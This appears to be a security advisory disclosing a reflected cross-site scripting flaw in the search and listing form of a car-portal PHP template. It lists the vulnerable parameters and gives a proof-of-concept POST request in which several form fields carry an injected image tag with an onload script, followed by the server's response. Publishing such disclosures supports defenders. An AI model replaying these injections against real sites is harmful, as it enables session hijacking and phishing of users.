The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user session data or to manipulate application contents for clients. The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`, `power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to inject own malicious script code in the search input field of the index module post method request. The execution takes place in the results page of the search after submit via post. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request method(s): [+] POST Vulnerable File(s): [+] index.php Vulnerable Input(s): [+] Trim [+] Power [+] Milage [+] First name [+] Last name [+] Username Vulnerable Parameter(s): [+] username [+] user_first_name [+] user_last_name [+] variant [+] power [+] milage Proof of Concept (PoC): ======================= The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. --- PoC Session Logs (POST) --- https://car-portal-template.localhost:8080/cars2/index.php Host: car-portal-template.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 878 Origin:https://car-portal-template.localhost:8080 Connection: keep-alive Referer:https://car-portal-template.localhost:8080/cars2/index.php Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822 ad_type=&selected_package=0&property_type=1,1&property_zip=&price=,&mod=sell&lang=en&Step=2&current_type=1 &type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img src="evil.source" onload=alert(document.domain)> &user_first_name="><img src="evil.source" onload=alert(document.domain)>&user_last_name="><img src="evil.source" onload=alert(document.domain)> &user_email=test@aol.de&user_phone=&car_make=Aixam&car_model=505&variant="><img src="evil.source" onload=alert(document.domain)> &year=2004&location1=18&location2=-1&level_location=&post_location=18 &power="><img src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" onload=alert(document.domain)> &transmission=M_MANUAL&fuel_type=M_PETROL&exterior_color=M_WHITE&description= - POST: HTTP/2.0 200 OK server: Apache set-cookie: language=en; expires=Tue; Max-Age=31536000 vary: Accept-Encoding content-encoding: gzip content-length: 6974 content-type: text/html; charset=UTF-8 Note: Searched queries can also be saved to be replied by the client-side within the session to followup exploitation.
